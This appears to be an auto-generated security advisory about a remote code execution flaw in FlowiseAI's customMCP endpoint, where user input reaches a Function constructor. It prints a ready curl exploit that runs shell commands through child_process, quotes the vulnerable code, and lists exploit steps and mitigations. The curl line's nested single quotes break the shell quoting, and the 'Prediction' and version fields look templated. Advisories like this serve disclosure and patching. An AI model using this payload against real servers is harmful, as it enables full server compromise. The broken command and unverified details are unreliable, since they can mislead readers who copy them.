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The vulnerability in FlowiseAI stems from the insecure handling of user input within the `convertToValidJSONString` function. When a POST request is sent to the `/api/v1/node-load-method/customMCP` endpoint with a string value for the `mcpServerConfig` parameter, it bypasses the object processing path. This string is passed directly to the `convertToValidJSONString` function. This function dynamically constructs a JavaScript Function constructor by concatenating the user-controlled input string with the ‘return ‘ prefix. The constructed function, Function('return ' + inputString)(), is then immediately invoked. This acts as an `eval` call, executing the provided string as raw JavaScript code. Crucially, this execution occurs in the main Node.js process context, not within a sandboxed environment. This allows an attacker to access the global `process` object and require core modules like child_process, leading directly to arbitrary command execution and full Remote Code Execution on the host server.
Platform: FlowiseAI
Version: Pre-1.7.0
Vulnerability: RCE
Severity: Critical
date: 2024-10-30
Prediction: Patch 2024-11-06
What Undercode Say:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data '{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('id > /tmp/pwned'))"},"loadMethod":"listActions"}' "http://localhost:3000/api/v1/node-load-method/customMCP"
// Vulnerable Code (convertToValidJSONString)
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
How Exploit:
Craft malicious payload
Send POST request
Bypass object check
Trigger Function constructor
Execute system commands
Protection from this CVE
Update FlowiseAI
Input validation
Use sandboxed execution
Sanitize user input
Impact:
Remote Code Execution
System Compromise
Arbitrary Command Execution
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Sources:
Reported By: github.com
Extra Source Hub:
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